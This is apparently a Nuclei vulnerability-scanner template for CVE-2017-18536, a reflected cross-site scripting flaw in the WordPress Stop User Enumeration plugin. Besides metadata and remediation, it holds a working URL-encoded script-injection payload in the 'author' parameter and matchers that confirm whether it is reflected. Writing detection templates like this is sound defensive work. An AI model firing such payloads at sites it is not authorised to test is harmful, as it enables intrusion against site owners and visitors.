id: CVE-2017-18536

info:
  name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.
  impact: |
    This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website.
  remediation: |
    Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501
    - https://wordpress.org/plugins/stop-user-enumeration/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18536
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18536
    cwe-id: CWE-79
    epss-score: 0.0203
    epss-percentile: 0.78519
    cpe: cpe:2.3:a:fullworks:stop_user_enumeration:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: fullworks
    product: stop_user_enumeration
    framework: wordpress
  tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "forbidden - number in author"
          - "</script><script>alert(document.domain)</script>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022047e9650bbc6937a2d34e29af78923c75147146f789637cb2b94ce773b5c62f63022100860a5e0ebb1a8acc223e57f86f0455e0c3cce43a33e20fb2aa340e026eefc5a7:922c64590222798bb761d5b6d8e72950